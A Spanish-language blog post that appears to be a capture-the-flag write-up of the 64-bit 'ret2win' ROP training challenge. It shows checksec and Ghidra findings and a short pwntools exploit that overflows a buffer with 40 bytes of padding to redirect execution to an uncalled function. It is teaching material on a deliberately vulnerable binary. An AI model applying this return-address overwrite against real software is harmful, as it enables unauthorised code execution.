He encontrado un sitio para aprender ROP, ‘Return Oriented Programming’ (en español, Programación Orientada al Retorno), a través de una serie de desafíos diseñados para enseñar diversas técnicas.
En la medida que sea capaz de ir resolviéndolos iré poniendo las soluciones a los mismos. Utilizaré siempre la versión de 64 bits del desafío.
En este post la solución al reto que lleva por título "ret2win", y que, en mi opinión, presenta un nivel de dificultad bajo (★★☆☆☆).
- Enunciado:
- Solución:
2.- Compruebo los mecanismos de seguridad del binario utilizando ‘checksec’ y veo que ‘NX’ está habilitado, lo que significa que la pila es no ejecutable:
3.- Decompilo el binario usando ‘Ghidra’ y veo que en la función main() se realiza una llamada a la función pwnme():Además, el binario tiene una función ret2win(), a la que no se llama nunca, que muestra la flag:
4.- El plan de ataque consiste en sustituir la dirección de retorno de la función ‘pwnme()’ por la dirección de inicio de la función ‘ret2win’, lo que mostrará la flag.
5.- Creo el 'exploit' mediante un pequeño 'script' en python y lo ejecuto:
from pwn import *
# Indicar a pwntools el binario objetivo
elf = context.binary = ELF('ret2win')
# Relleno hasta la dirección de retorno de pwnme()
offset_padding = b'A'*40
# Dirección de inicio de ret2win()
info('%#x Dirección de inicio ret2win()', elf.symbols.ret2win)
ret2win = p64(elf.symbols.ret2win)
# Enviar
p = process(elf.path)
payload = offset_padding + ret2win
p.sendline(payload)
# Recibir e imprimir
print(p.recvall())
Comentarios
Publicar un comentario